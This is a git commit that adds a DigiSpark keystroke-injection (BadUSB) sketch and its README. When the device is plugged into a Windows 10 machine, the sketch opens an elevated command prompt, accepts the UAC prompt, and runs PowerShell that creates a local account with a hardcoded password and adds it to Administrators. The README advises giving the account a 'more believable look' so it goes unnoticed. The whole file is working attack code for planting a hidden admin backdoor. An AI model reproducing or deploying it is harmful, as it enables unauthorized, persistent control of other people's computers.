Added Create Account script

This commit is contained in:
unknown 2019-08-23 22:03:06 +02:00
parent c43156466f
commit c0394ac0d8
2 changed files with 41 additions and 0 deletions

View File

@ -0,0 +1,26 @@
//This DigiSpark script creates new local user and adds it to "Administrators" group
//Tested on Windows 10 with English(US) keyboard layout
//Created by Michyus
#include "DigiKeyboard.h"
void setup() {
}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" "));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }
}

15
Create_Account/README.md Normal file
View File

@ -0,0 +1,15 @@
# This script does the following:
1. Starts Command prompt as Administrator
2. Runs sequence of powershell commands
1. Stores password in a variable
2. Creates new local user account
3. Gives newly created account administrator priviliages
3. Exits Command prompt
# Additional information:
- Running time is around 15 seconds(depending on hw and length of user name, password, description...)
- Optionally you can add `-FullName` and `-Description` parameters to give account more believable look:
`New-LocalUser \"accName\" -Password $pass -FullName \"User name\" -Description \"Description of new account\"`
# Credits
- https://github.com/Michyus